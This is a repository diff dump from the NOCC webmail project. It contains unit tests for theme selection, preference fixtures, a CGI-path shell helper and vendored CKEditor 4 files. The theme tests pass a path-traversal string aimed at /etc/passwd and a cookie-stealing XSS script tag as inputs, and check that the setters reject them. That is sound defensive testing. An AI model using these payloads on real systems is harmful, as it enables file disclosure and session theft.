$this->assertEquals(2, $this->themes3->count(), './themes/ TEST1');
$this->assertEquals(0, $this->themes4->count(), 'array(bug)');
$this->assertEquals(2, $this->themes5->count(), './themes/, array(bug)');
}
/**
* Test case for exists().
*/
public function testExists() {
$themes = new NOCC_Themes($this->rootPath . './themes');
$this->assertFalse(@$themes->exists(), 'exists()');
$this->assertFalse($themes->exists(array('bug')), 'exists(array("bug"))');
$this->assertFalse($themes->exists(''), 'exists("")');
$this->assertFalse($themes->exists('notexists'), 'exists("notexists")');
$this->assertTrue($themes->exists('test1'), 'exists("test1")');
$this->assertTrue($themes->exists('TEST1'), 'exists("TEST1")');
}
/**
* Test case for getThemeNames().
*/
public function testGetThemeNames() {
$themes = new NOCC_Themes($this->rootPath . './themes');
$themeNames = $themes->getThemeNames();
$this->assertEquals(2, count($themeNames), 'count($themeNames)');
$this->assertEquals('test1', $themeNames[0], '$themeNames[0]');
$this->assertEquals('test2', $themeNames[1], '$themeNames[1]');
}
/**
* Test case for getDefaultThemeName().
*/
public function testGetDefaultThemeName() {
$this->assertEquals('standard', $this->themes1->getDefaultThemeName());
$this->assertEquals('test1', $this->themes2->getDefaultThemeName(), './themes, test1');
$this->assertEquals('test1', $this->themes3->getDefaultThemeName(), './themes/ TEST1');
$this->assertEquals('standard', $this->themes4->getDefaultThemeName(), 'array(bug)');
$this->assertEquals('standard', $this->themes5->getDefaultThemeName(), './themes/, array(bug)');
}
/**
* Test case for setDefaultThemeName().
*/
public function testSetDefaultThemeName() {
$themes = new NOCC_Themes($this->rootPath . './themes');
$this->assertFalse(@$themes->setDefaultThemeName(), 'setDefaultThemeName()');
$this->assertEquals('standard', $themes->getDefaultThemeName(), 'getDefaultThemeName()');
$this->assertFalse($themes->setDefaultThemeName(array('bug')), 'setDefaultThemeName(array("bug"))');
$this->assertEquals('standard', $themes->getDefaultThemeName(), 'getDefaultThemeName()');
$this->assertFalse($themes->setDefaultThemeName(''), 'setDefaultThemeName("")');
$this->assertEquals('standard', $themes->getDefaultThemeName(), 'getDefaultThemeName()');
$this->assertFalse($themes->setDefaultThemeName('notexists'), 'setDefaultThemeName("notexists")');
$this->assertEquals('standard', $themes->getDefaultThemeName(), 'getDefaultThemeName()');
$this->assertFalse($themes->setDefaultThemeName('../../../../../../../etc/passwd%00'), 'setDefaultThemeName("passwd")');
$this->assertEquals('standard', $themes->getDefaultThemeName(), 'getDefaultThemeName()');
$this->assertFalse($themes->setDefaultThemeName('<script>alert(document.cookie)</script>'), 'setDefaultThemeName("alert()")');
$this->assertEquals('standard', $themes->getDefaultThemeName(), 'getDefaultThemeName()');
$this->assertTrue($themes->setDefaultThemeName('test1'), 'setDefaultThemeName("test1")');
$this->assertEquals('test1', $themes->getDefaultThemeName(), 'getDefaultThemeName()');
$this->assertTrue($themes->setDefaultThemeName('TEST2'), 'setDefaultThemeName("TEST2")');
$this->assertEquals('test2', $themes->getDefaultThemeName(), 'getDefaultThemeName()');
}
/**
* Test case for getSelectedThemeName().
*/
public function testGetSelectedThemeName() {
$this->assertEquals('standard', $this->themes1->getSelectedThemeName());
$this->assertEquals('test1', $this->themes2->getSelectedThemeName(), './themes, test1');
$this->assertEquals('test1', $this->themes3->getSelectedThemeName(), './themes/ TEST1');
$this->assertEquals('standard', $this->themes4->getSelectedThemeName(), 'array(bug)');
$this->assertEquals('standard', $this->themes5->getSelectedThemeName(), './themes/, array(bug)');
}
/**
* Test case for setSelectedThemeName().
*/
public function testSetSelectedThemeName() {
$themes = new NOCC_Themes($this->rootPath . './themes');
$this->assertFalse(@$themes->setSelectedThemeName(), 'setSelectedThemeName()');
$this->assertEquals('standard', $themes->getSelectedThemeName(), 'getSelectedThemeName()');
$this->assertFalse($themes->setSelectedThemeName(array('bug')), 'setSelectedThemeName(array("bug"))');
$this->assertEquals('standard', $themes->getSelectedThemeName(), 'getSelectedThemeName()');
$this->assertFalse($themes->setSelectedThemeName(''), 'setSelectedThemeName("")');
$this->assertEquals('standard', $themes->getSelectedThemeName(), 'getSelectedThemeName()');
$this->assertFalse($themes->setSelectedThemeName('../../../../../../../etc/passwd%00'), 'setSelectedThemeName("passwd")');
$this->assertEquals('standard', $themes->getSelectedThemeName(), 'getSelectedThemeName()');
$this->assertFalse($themes->setSelectedThemeName('<script>alert(document.cookie)</script>'), 'setSelectedThemeName("alert()")');
$this->assertEquals('standard', $themes->getSelectedThemeName(), 'getSelectedThemeName()');
$this->assertFalse($themes->setSelectedThemeName('notexists'), 'setSelectedThemeName("notexists")');
$this->assertEquals('standard', $themes->getSelectedThemeName(), 'getSelectedThemeName()');
$this->assertTrue($themes->setSelectedThemeName('test1'), 'setSelectedThemeName("test1")');
$this->assertEquals('test1', $themes->getSelectedThemeName(), 'getSelectedThemeName()');
$this->assertTrue($themes->setSelectedThemeName('TEST2'), 'setSelectedThemeName("TEST2")');
$this->assertEquals('test2', $themes->getSelectedThemeName(), 'getSelectedThemeName()');
}
}
?>

View file

View file

View file

View file

View file

@ -0,0 +1,21 @@
full_name=Full Name
email_address=foo@bar.org
msg_per_page=30
cc_self=1
hide_addresses=1
outlook_quoting=1
colored_quotes=1
display_struct=1
seperate_msg_win=1
reply_leadin=
signature=VGhpcyBpcyBhIHNpZ25hdHVyZS4uLg==
wrap_msg=72
sig_sep=1
html_mail_send=1
graphical_smilies=1
sent_folder=1
sent_folder_name=Sent
trash_folder=1
trash_folder_name=Trash
lang=de
theme=newlook

View file

@ -0,0 +1,21 @@
full_name=Name Full
email_address=bar@foo.org
msg_per_page=15
cc_self=
hide_addresses=
outlook_quoting=
colored_quotes=
display_struct=
seperate_msg_win=
reply_leadin=
signature=
wrap_msg=0
sig_sep=
html_mail_send=
graphical_smilies=
sent_folder=
sent_folder_name=
trash_folder=
trash_folder_name=
lang=en
theme=standard

View file

View file

View file

1050
webmail/action.php Normal file

File diff suppressed because it is too large Load diff

29
webmail/addcgipath.sh Executable file
View file

@ -0,0 +1,29 @@
#!/bin/sh
#
# addcgipath.sh Adds path for PHP CGI exec when running
# with suEXEC for example
#
# Author: Olivier Cahagne
#
if test $# -eq 0
then
echo "Missing first parameter (path to add)"
echo "Usage: addcgipath <path to add>"
echo "Example: addcgipath /usr/local/bin/php"
exit 0
fi
if test -d bak
then
echo 'Directory bak is already there'
else
mkdir bak
fi
for i in action.php delete.php download.php index.php logout.php \
send.php
do
mv $i bak/$i
(echo '#!'$1''; cat bak/$i) > $i
done;

556
webmail/ckeditor.php Normal file
View file

@ -0,0 +1,556 @@
<?php
/*
* Copyright (c) 2003-2012, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* \brief CKEditor class that can be used to create editor
* instances in PHP pages on server side.
* @see http://ckeditor.com
*
* Sample usage:
* @code
* $CKEditor = new CKEditor();
* $CKEditor->editor("editor1", "<p>Initial value.</p>");
* @endcode
*/
class CKEditor
{
/**
* The version of %CKEditor.
*/
const version = '4.14.0';
/**
* A constant string unique for each release of %CKEditor.
*/
const timestamp = 'C3HA5RM';
/**
* URL to the %CKEditor installation directory (absolute or relative to document root).
* If not set, CKEditor will try to guess it's path.
*
* Example usage:
* @code
* $CKEditor->basePath = '/ckeditor/';
* @endcode
*/
public $basePath;
/**
* An array that holds the global %CKEditor configuration.
* For the list of available options, see http://docs.cksource.com/ckeditor_api/symbols/CKEDITOR.config.html
*
* Example usage:
* @code
* $CKEditor->config['height'] = 400;
* // Use @@ at the beggining of a string to ouput it without surrounding quotes.
* $CKEditor->config['width'] = '@@screen.width * 0.8';
* @endcode
*/
public $config = array();
/**
* A boolean variable indicating whether CKEditor has been initialized.
* Set it to true only if you have already included
* &lt;script&gt; tag loading ckeditor.js in your website.
*/
public $initialized = false;
/**
* Boolean variable indicating whether created code should be printed out or returned by a function.
*
* Example 1: get the code creating %CKEditor instance and print it on a page with the "echo" function.
* @code
* $CKEditor = new CKEditor();
* $CKEditor->returnOutput = true;
* $code = $CKEditor->editor("editor1", "<p>Initial value.</p>");
* echo "<p>Editor 1:</p>";
* echo $code;
* @endcode
*/
public $returnOutput = false;
/**
* An array with textarea attributes.
*
* When %CKEditor is created with the editor() method, a HTML &lt;textarea&gt; element is created,
* it will be displayed to anyone with JavaScript disabled or with incompatible browser.
*/
public $textareaAttributes = array( "rows" => 8, "cols" => 60 );
/**
* A string indicating the creation date of %CKEditor.
* Do not change it unless you want to force browsers to not use previously cached version of %CKEditor.
*/
public $timestamp = "C3HA5RM";
/**
* An array that holds event listeners.
*/
private $events = array();
/**
* An array that holds global event listeners.
*/
private $globalEvents = array();
/**
* Main Constructor.
*
* @param $basePath (string) URL to the %CKEditor installation directory (optional).
*/
function __construct($basePath = null) {
if (!empty($basePath)) {
$this->basePath = $basePath;
}
}
/**
* Creates a %CKEditor instance.
* In incompatible browsers %CKEditor will downgrade to plain HTML &lt;textarea&gt; element.
*
* @param $name (string) Name of the %CKEditor instance (this will be also the "name" attribute of textarea element).
* @param $value (string) Initial value (optional).
* @param $config (array) The specific configurations to apply to this editor instance (optional).
* @param $events (array) Event listeners for this editor instance (optional).
*
* Example usage:
* @code
* $CKEditor = new CKEditor();
* $CKEditor->editor("field1", "<p>Initial value.</p>");
* @endcode
*
* Advanced example:
* @code
* $CKEditor = new CKEditor();
* $config = array();
* $config['toolbar'] = array(
* array( 'Source', '-', 'Bold', 'Italic', 'Underline', 'Strike' ),
* array( 'Image', 'Link', 'Unlink', 'Anchor' )
* );
* $events['instanceReady'] = 'function (ev) {
* alert("Loaded: " + ev.editor.name);
* }';
* $CKEditor->editor("field1", "<p>Initial value.</p>", $config, $events);
* @endcode
*/
public function editor($name, $value = "", $config = array(), $events = array())
{
$attr = "";
foreach ($this->textareaAttributes as $key => $val) {
$attr.= " " . $key . '="' . str_replace('"', '&quot;', $val) . '"';
}
$out = "<textarea name=\"" . $name . "\"" . $attr . ">" . htmlspecialchars($value) . "</textarea>\n";
if (!$this->initialized) {
$out .= $this->init();
}
$_config = $this->configSettings($config, $events);
$js = $this->returnGlobalEvents();
if (!empty($_config))
$js .= "CKEDITOR.replace('".$name."', ".$this->jsEncode($_config).");";
else
$js .= "CKEDITOR.replace('".$name."');";
$out .= $this->script($js);
if (!$this->returnOutput) {
print $out;
$out = "";
}
return $out;
}
/**
* Replaces a &lt;textarea&gt; with a %CKEditor instance.
*
* @param $id (string) The id or name of textarea element.
* @param $config (array) The specific configurations to apply to this editor instance (optional).
* @param $events (array) Event listeners for this editor instance (optional).
*
* Example 1: adding %CKEditor to &lt;textarea name="article"&gt;&lt;/textarea&gt; element:
* @code
* $CKEditor = new CKEditor();
* $CKEditor->replace("article");
* @endcode
*/
public function replace($id, $config = array(), $events = array())
{
$out = "";
if (!$this->initialized) {
$out .= $this->init();
}
$_config = $this->configSettings($config, $events);
$js = $this->returnGlobalEvents();
if (!empty($_config)) {
$js .= "CKEDITOR.replace('".$id."', ".$this->jsEncode($_config).");";
}
else {
$js .= "CKEDITOR.replace('".$id."');";
}
$out .= $this->script($js);
if (!$this->returnOutput) {
print $out;
$out = "";
}
return $out;
}
/**
* Replace all &lt;textarea&gt; elements available in the document with editor instances.
*
* @param $className (string) If set, replace all textareas with class className in the page.
*
* Example 1: replace all &lt;textarea&gt; elements in the page.
* @code
* $CKEditor = new CKEditor();
* $CKEditor->replaceAll();
* @endcode
*
* Example 2: replace all &lt;textarea class="myClassName"&gt; elements in the page.
* @code
* $CKEditor = new CKEditor();
* $CKEditor->replaceAll( 'myClassName' );
* @endcode
*/
public function replaceAll($className = null)
{
$out = "";
if (!$this->initialized) {
$out .= $this->init();
}
$_config = $this->configSettings();
$js = $this->returnGlobalEvents();
if (empty($_config)) {
if (empty($className)) {
$js .= "CKEDITOR.replaceAll();";
}
else {
$js .= "CKEDITOR.replaceAll('".$className."');";
}
}
else {
$classDetection = "";
$js .= "CKEDITOR.replaceAll( function(textarea, config) {\n";
if (!empty($className)) {
$js .= " var classRegex = new RegExp('(?:^| )' + '". $className ."' + '(?:$| )');\n";
$js .= " if (!classRegex.test(textarea.className))\n";
$js .= " return false;\n";
}
$js .= " CKEDITOR.tools.extend(config, ". $this->jsEncode($_config) .", true);";
$js .= "} );";
}
$out .= $this->script($js);
if (!$this->returnOutput) {
print $out;
$out = "";
}
return $out;
}
/**
* Adds event listener.
* Events are fired by %CKEditor in various situations.
*
* @param $event (string) Event name.
* @param $javascriptCode (string) Javascript anonymous function or function name.
*
* Example usage:
* @code
* $CKEditor->addEventHandler('instanceReady', 'function (ev) {
* alert("Loaded: " + ev.editor.name);
* }');
* @endcode
*/
public function addEventHandler($event, $javascriptCode)
{
if (!isset($this->events[$event])) {
$this->events[$event] = array();
}
// Avoid duplicates.
if (!in_array($javascriptCode, $this->events[$event])) {
$this->events[$event][] = $javascriptCode;
}
}
/**
* Clear registered event handlers.
* Note: this function will have no effect on already created editor instances.
*
* @param $event (string) Event name, if not set all event handlers will be removed (optional).
*/
public function clearEventHandlers($event = null)
{
if (!empty($event)) {
$this->events[$event] = array();
}
else {
$this->events = array();
}
}
/**
* Adds global event listener.
*
* @param $event (string) Event name.
* @param $javascriptCode (string) Javascript anonymous function or function name.
*
* Example usage:
* @code
* $CKEditor->addGlobalEventHandler('dialogDefinition', 'function (ev) {
* alert("Loading dialog: " + ev.data.name);
* }');
* @endcode
*/
public function addGlobalEventHandler($event, $javascriptCode)
{
if (!isset($this->globalEvents[$event])) {
$this->globalEvents[$event] = array();
}
// Avoid duplicates.
if (!in_array($javascriptCode, $this->globalEvents[$event])) {
$this->globalEvents[$event][] = $javascriptCode;
}
}
/**
* Clear registered global event handlers.
* Note: this function will have no effect if the event handler has been already printed/returned.
*
* @param $event (string) Event name, if not set all event handlers will be removed (optional).
*/
public function clearGlobalEventHandlers($event = null)
{
if (!empty($event)) {
$this->globalEvents[$event] = array();
}
else {
$this->globalEvents = array();
}
}
/**
* Prints javascript code.
*
* @param string $js
*/
private function script($js)
{
$out = "<script type=\"text/javascript\">";
$out .= "//<![CDATA[\n";
$out .= $js;
$out .= "\n//]]>";
$out .= "</script>\n";
return $out;
}
/**
* Returns the configuration array (global and instance specific settings are merged into one array).
*
* @param $config (array) The specific configurations to apply to editor instance.
* @param $events (array) Event listeners for editor instance.
*/
private function configSettings($config = array(), $events = array())
{
$_config = $this->config;
$_events = $this->events;
if (is_array($config) && !empty($config)) {
$_config = array_merge($_config, $config);
}
if (is_array($events) && !empty($events)) {
foreach ($events as $eventName => $code) {
if (!isset($_events[$eventName])) {
$_events[$eventName] = array();
}
if (!in_array($code, $_events[$eventName])) {
$_events[$eventName][] = $code;
}
}
}
if (!empty($_events)) {
foreach($_events as $eventName => $handlers) {
if (empty($handlers)) {
continue;
}
else if (count($handlers) == 1) {
$_config['on'][$eventName] = '@@'.$handlers[0];
}
else {
$_config['on'][$eventName] = '@@function (ev){';
foreach ($handlers as $handler => $code) {
$_config['on'][$eventName] .= '('.$code.')(ev);';
}
$_config['on'][$eventName] .= '}';
}
}
}
return $_config;
}
/**
* Return global event handlers.
*/
private function returnGlobalEvents()
{
static $returnedEvents;
$out = "";
if (!isset($returnedEvents)) {
$returnedEvents = array();
}
if (!empty($this->globalEvents)) {
foreach ($this->globalEvents as $eventName => $handlers) {
foreach ($handlers as $handler => $code) {
if (!isset($returnedEvents[$eventName])) {
$returnedEvents[$eventName] = array();
}
// Return only new events
if (!in_array($code, $returnedEvents[$eventName])) {
$out .= ($code ? "\n" : "") . "CKEDITOR.on('". $eventName ."', $code);";
$returnedEvents[$eventName][] = $code;
}
}
}
}
return $out;
}
/**
* Initializes CKEditor (executed only once).
*/
private function init()
{
static $initComplete;
$out = "";
if (!empty($initComplete)) {
return "";
}
if ($this->initialized) {
$initComplete = true;
return "";
}
$args = "";
$ckeditorPath = $this->ckeditorPath();
if (!empty($this->timestamp) && $this->timestamp != "%"."TIMESTAMP%") {
$args = '?t=' . $this->timestamp;
}
// Skip relative paths...
if (strpos($ckeditorPath, '..') !== 0) {
$out .= $this->script("window.CKEDITOR_BASEPATH='". $ckeditorPath ."';");
}
$out .= "<script type=\"text/javascript\" src=\"" . $ckeditorPath . 'ckeditor.js' . $args . "\"></script>\n";
$extraCode = "";
if ($this->timestamp != self::timestamp) {
$extraCode .= ($extraCode ? "\n" : "") . "CKEDITOR.timestamp = '". $this->timestamp ."';";
}
if ($extraCode) {
$out .= $this->script($extraCode);
}
$initComplete = $this->initialized = true;
return $out;
}
/**
* Return path to ckeditor.js.
*/
private function ckeditorPath()
{
if (!empty($this->basePath)) {
return $this->basePath;
}
/**
* The absolute pathname of the currently executing script.
* Note: If a script is executed with the CLI, as a relative path, such as file.php or ../file.php,
* $_SERVER['SCRIPT_FILENAME'] will contain the relative path specified by the user.
*/
if (isset($_SERVER['SCRIPT_FILENAME'])) {
$realPath = dirname($_SERVER['SCRIPT_FILENAME']);
}
else {
/**
* realpath - Returns canonicalized absolute pathname
*/
$realPath = realpath( './' ) ;
}
/**
* The filename of the currently executing script, relative to the document root.
* For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar
* would be /test.php/foo.bar.
*/
$selfPath = dirname($_SERVER['PHP_SELF']);
$file = str_replace("\\", "/", __FILE__);
if (!$selfPath || !$realPath || !$file) {
return "/ckeditor/";
}
$documentRoot = substr($realPath, 0, strlen($realPath) - strlen($selfPath));
$fileUrl = substr($file, strlen($documentRoot));
$ckeditorUrl = str_replace("ckeditor_php5.php", "", $fileUrl);
return $ckeditorUrl;
}
/**
* This little function provides a basic JSON support.
*
* @param mixed $val
* @return string
*/
private function jsEncode($val)
{
if (is_null($val)) {
return 'null';
}
if (is_bool($val)) {
return $val ? 'true' : 'false';
}
if (is_int($val)) {
return $val;
}
if (is_float($val)) {
return str_replace(',', '.', $val);
}
if (is_array($val) || is_object($val)) {
if (is_array($val) && (array_keys($val) === range(0,count($val)-1))) {
return '[' . implode(',', array_map(array($this, 'jsEncode'), $val)) . ']';
}
$temp = array();
foreach ($val as $k => $v){
$temp[] = $this->jsEncode("{$k}") . ':' . $this->jsEncode($v);
}
return '{' . implode(',', $temp) . '}';
}
// String otherwise
if (strpos($val, '@@') === 0)
return substr($val, 2);
if (strtoupper(substr($val, 0, 9)) == 'CKEDITOR.')
return $val;
return '"' . str_replace(array("\\", "/", "\n", "\t", "\r", "\x08", "\x0c", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'), $val) . '"';
}
}

1879
webmail/ckeditor/CHANGES.md Normal file

File diff suppressed because it is too large Load diff

1421
webmail/ckeditor/LICENSE.md Normal file

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,39 @@
CKEditor 4
==========
Copyright (c) 2003-2019, CKSource - Frederico Knabben. All rights reserved.
https://ckeditor.com - See LICENSE.md for license information.
CKEditor 4 is a text editor to be used inside web pages. It's not a replacement
for desktop text editors like Word or OpenOffice, but a component to be used as
part of web applications and websites.
## Documentation
The full editor documentation is available online at the following address:
https://ckeditor.com/docs/
## Installation
Installing CKEditor is an easy task. Just follow these simple steps:
1. **Download** the latest version from the CKEditor website:
https://ckeditor.com. You should have already completed this step, but be
sure you have the very latest version.
2. **Extract** (decompress) the downloaded file into the root of your website.
**Note:** CKEditor is by default installed in the `ckeditor` folder. You can
place the files in whichever you want though.
## Checking Your Installation
The editor comes with a few sample pages that can be used to verify that
installation proceeded properly. Take a look at the `samples` directory.
To test your installation, just call the following page at your website:
http://<your site>/<CKEditor installation path>/samples/index.html
For example:
http://www.example.com/ckeditor/samples/index.html

10
webmail/ckeditor/adapters/jquery.js vendored Normal file
View file

@ -0,0 +1,10 @@
/*
Copyright (c) 2003-2020, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
(function(a){if("undefined"==typeof a)throw Error("jQuery should be loaded before CKEditor jQuery adapter.");if("undefined"==typeof CKEDITOR)throw Error("CKEditor should be loaded before CKEditor jQuery adapter.");CKEDITOR.config.jqueryOverrideVal="undefined"==typeof CKEDITOR.config.jqueryOverrideVal?!0:CKEDITOR.config.jqueryOverrideVal;a.extend(a.fn,{ckeditorGet:function(){var a=this.eq(0).data("ckeditorInstance");if(!a)throw"CKEditor is not initialized yet, use ckeditor() with a callback.";return a},
ckeditor:function(g,e){if(!CKEDITOR.env.isCompatible)throw Error("The environment is incompatible.");if(!a.isFunction(g)){var m=e;e=g;g=m}var k=[];e=e||{};this.each(function(){var b=a(this),c=b.data("ckeditorInstance"),f=b.data("_ckeditorInstanceLock"),h=this,l=new a.Deferred;k.push(l.promise());if(c&&!f)g&&g.apply(c,[this]),l.resolve();else if(f)c.once("instanceReady",function(){setTimeout(function d(){c.element?(c.element.$==h&&g&&g.apply(c,[h]),l.resolve()):setTimeout(d,100)},0)},null,null,9999);
else{if(e.autoUpdateElement||"undefined"==typeof e.autoUpdateElement&&CKEDITOR.config.autoUpdateElement)e.autoUpdateElementJquery=!0;e.autoUpdateElement=!1;b.data("_ckeditorInstanceLock",!0);c=a(this).is("textarea")?CKEDITOR.replace(h,e):CKEDITOR.inline(h,e);b.data("ckeditorInstance",c);c.on("instanceReady",function(e){var d=e.editor;setTimeout(function n(){if(d.element){e.removeListener();d.on("dataReady",function(){b.trigger("dataReady.ckeditor",[d])});d.on("setData",function(a){b.trigger("setData.ckeditor",
[d,a.data])});d.on("getData",function(a){b.trigger("getData.ckeditor",[d,a.data])},999);d.on("destroy",function(){b.trigger("destroy.ckeditor",[d])});d.on("save",function(){a(h.form).submit();return!1},null,null,20);if(d.config.autoUpdateElementJquery&&b.is("textarea")&&a(h.form).length){var c=function(){b.ckeditor(function(){d.updateElement()})};a(h.form).submit(c);a(h.form).bind("form-pre-serialize",c);b.bind("destroy.ckeditor",function(){a(h.form).unbind("submit",c);a(h.form).unbind("form-pre-serialize",
c)})}d.on("destroy",function(){b.removeData("ckeditorInstance")});b.removeData("_ckeditorInstanceLock");b.trigger("instanceReady.ckeditor",[d]);g&&g.apply(d,[h]);l.resolve()}else setTimeout(n,100)},0)},null,null,9999)}});var f=new a.Deferred;this.promise=f.promise();a.when.apply(this,k).then(function(){f.resolve()});this.editor=this.eq(0).data("ckeditorInstance");return this}});CKEDITOR.config.jqueryOverrideVal&&(a.fn.val=CKEDITOR.tools.override(a.fn.val,function(g){return function(e){if(arguments.length){var m=
this,k=[],f=this.each(function(){var b=a(this),c=b.data("ckeditorInstance");if(b.is("textarea")&&c){var f=new a.Deferred;c.setData(e,function(){f.resolve()});k.push(f.promise());return!0}return g.call(b,e)});if(k.length){var b=new a.Deferred;a.when.apply(this,k).done(function(){b.resolveWith(m)});return b.promise()}return f}var f=a(this).eq(0),c=f.data("ckeditorInstance");return f.is("textarea")&&c?c.getData():g.call(f)}}))})(window.jQuery);

View file

@ -0,0 +1,192 @@
/**
* @license Copyright (c) 2003-2020, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see LICENSE.md or https://ckeditor.com/license
*/
/**
* This file was added automatically by CKEditor builder.
* You may re-use it at any time to build CKEditor again.
*
* If you would like to build CKEditor online again
* (for example to upgrade), visit one the following links:
*
* (1) https://ckeditor.com/cke4/builder
* Visit online builder to build CKEditor from scratch.
*
* (2) https://ckeditor.com/cke4/builder/4e3a4ca28d8cb0c407b480601a63d4b6
* Visit online builder to build CKEditor, starting with the same setup as before.
*
* (3) https://ckeditor.com/cke4/builder/download/4e3a4ca28d8cb0c407b480601a63d4b6
* Straight download link to the latest version of CKEditor (Optimized) with the same setup as before.
*
* NOTE:
* This file is not used by CKEditor, you may remove it.
* Changing this file will not change your CKEditor configuration.
*/
var CKBUILDER_CONFIG = {
skin: 'moono-lisa',
preset: 'full',
ignore: [
'.DS_Store',
'.bender',
'.editorconfig',
'.gitattributes',
'.gitignore',
'.idea',
'.jscsrc',
'.jshintignore',
'.jshintrc',
'.mailmap',
'.npm',
'.travis.yml',
'bender-err.log',
'bender-out.log',
'bender.ci.js',
'bender.js',
'dev',
'gruntfile.js',
'less',
'node_modules',
'package.json',
'tests'
],
plugins : {
'a11yhelp' : 1,
'about' : 1,
'basicstyles' : 1,
'bidi' : 1,
'blockquote' : 1,
'clipboard' : 1,
'colorbutton' : 1,
'colordialog' : 1,
'contextmenu' : 1,
'copyformatting' : 1,
'dialogadvtab' : 1,
'div' : 1,
'elementspath' : 1,
'enterkey' : 1,
'entities' : 1,
'filebrowser' : 1,
'find' : 1,
'flash' : 1,
'floatingspace' : 1,
'font' : 1,
'format' : 1,
'forms' : 1,
'horizontalrule' : 1,
'htmlwriter' : 1,
'iframe' : 1,
'image' : 1,
'indentblock' : 1,
'indentlist' : 1,
'justify' : 1,
'language' : 1,
'link' : 1,
'list' : 1,
'liststyle' : 1,
'magicline' : 1,
'maximize' : 1,
'newpage' : 1,
'pagebreak' : 1,
'pastefromgdocs' : 1,
'pastefromword' : 1,
'pastetext' : 1,
'pastetools' : 1,
'preview' : 1,
'print' : 1,
'removeformat' : 1,
'resize' : 1,
'save' : 1,
'scayt' : 1,
'selectall' : 1,
'showblocks' : 1,
'showborders' : 1,
'smiley' : 1,
'sourcearea' : 1,
'specialchar' : 1,
'stylescombo' : 1,
'tab' : 1,
'table' : 1,
'tableselection' : 1,
'tabletools' : 1,
'templates' : 1,
'toolbar' : 1,
'undo' : 1,
'uploadimage' : 1,
'wsc' : 1,
'wysiwygarea' : 1
},
languages : {
'af' : 1,
'ar' : 1,
'az' : 1,
'bg' : 1,
'bn' : 1,
'bs' : 1,
'ca' : 1,
'cs' : 1,
'cy' : 1,
'da' : 1,
'de' : 1,
'de-ch' : 1,
'el' : 1,
'en' : 1,
'en-au' : 1,
'en-ca' : 1,
'en-gb' : 1,
'eo' : 1,
'es' : 1,
'es-mx' : 1,
'et' : 1,
'eu' : 1,
'fa' : 1,
'fi' : 1,
'fo' : 1,
'fr' : 1,
'fr-ca' : 1,
'gl' : 1,
'gu' : 1,
'he' : 1,
'hi' : 1,
'hr' : 1,
'hu' : 1,
'id' : 1,
'is' : 1,
'it' : 1,
'ja' : 1,
'ka' : 1,
'km' : 1,
'ko' : 1,
'ku' : 1,
'lt' : 1,
'lv' : 1,
'mk' : 1,
'mn' : 1,
'ms' : 1,
'nb' : 1,
'nl' : 1,
'no' : 1,
'oc' : 1,
'pl' : 1,
'pt' : 1,
'pt-br' : 1,
'ro' : 1,
'ru' : 1,
'si' : 1,
'sk' : 1,
'sl' : 1,
'sq' : 1,
'sr' : 1,
'sr-latn' : 1,
'sv' : 1,
'th' : 1,
'tr' : 1,
'tt' : 1,
'ug' : 1,
'uk' : 1,
'vi' : 1,
'zh' : 1,
'zh-cn' : 1
}
};

1377
webmail/ckeditor/ckeditor.js vendored Normal file

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1,10 @@
/**
* @license Copyright (c) 2003-2019, CKSource - Frederico Knabben. All rights reserved.
* For licensing, see https://ckeditor.com/legal/ckeditor-oss-license
*/
CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here. For example:
// config.language = 'fr';
// config.uiColor = '#AADC6E';
};

View file

@ -0,0 +1,208 @@
/*
Copyright (c) 2003-2020, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
body
{
/* Font */
/* Emoji fonts are added to visualise them nicely in Internet Explorer. */
font-family: sans-serif, Arial, Verdana, "Trebuchet MS", "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
font-size: 12px;
/* Text color */
color: #333;
/* Remove the background color to make it transparent. */
background-color: #fff;
margin: 20px;
}
.cke_editable
{
font-size: 13px;
line-height: 1.6;
/* Fix for missing scrollbars with RTL texts. (#10488) */
word-wrap: break-word;
}
blockquote
{
font-style: italic;
font-family: Georgia, Times, "Times New Roman", serif;
padding: 2px 0;
border-style: solid;
border-color: #ccc;
border-width: 0;
}
.cke_contents_ltr blockquote
{
padding-left: 20px;
padding-right: 8px;
border-left-width: 5px;
}
.cke_contents_rtl blockquote
{
padding-left: 8px;
padding-right: 20px;
border-right-width: 5px;
}
a
{
color: #0782C1;
}
ol,ul,dl
{
/* IE7: reset rtl list margin. (#7334) */
*margin-right: 0px;
/* Preserved spaces for list items with text direction different than the list. (#6249,#8049)*/
padding: 0 40px;
}
h1,h2,h3,h4,h5,h6
{
font-weight: normal;
line-height: 1.2;
}
hr
{
border: 0px;
border-top: 1px solid #ccc;
}
img.right
{
border: 1px solid #ccc;
float: right;
margin-left: 15px;
padding: 5px;
}
img.left
{
border: 1px solid #ccc;
float: left;
margin-right: 15px;
padding: 5px;
}
pre
{
white-space: pre-wrap; /* CSS 2.1 */
word-wrap: break-word; /* IE7 */
-moz-tab-size: 4;
tab-size: 4;
}
.marker
{
background-color: Yellow;
}
span[lang]
{
font-style: italic;
}
figure
{
text-align: center;
outline: solid 1px #ccc;
background: rgba(0,0,0,0.05);
padding: 10px;
margin: 10px 20px;
display: inline-block;
}
figure > figcaption
{
text-align: center;
display: block; /* For IE8 */
}
a > img {
padding: 1px;
margin: 1px;
border: none;
outline: 1px solid #0782C1;
}
/* Widget Styles */
.code-featured
{
border: 5px solid red;
}
.math-featured
{
padding: 20px;
box-shadow: 0 0 2px rgba(200, 0, 0, 1);
background-color: rgba(255, 0, 0, 0.05);
margin: 10px;
}
.image-clean
{
border: 0;
background: none;
padding: 0;
}
.image-clean > figcaption
{
font-size: .9em;
text-align: right;
}
.image-grayscale
{
background-color: white;
color: #666;
}
.image-grayscale img, img.image-grayscale
{
filter: grayscale(100%);
}
.embed-240p
{
max-width: 426px;
max-height: 240px;
margin:0 auto;
}
.embed-360p
{
max-width: 640px;
max-height: 360px;
margin:0 auto;
}
.embed-480p
{
max-width: 854px;
max-height: 480px;
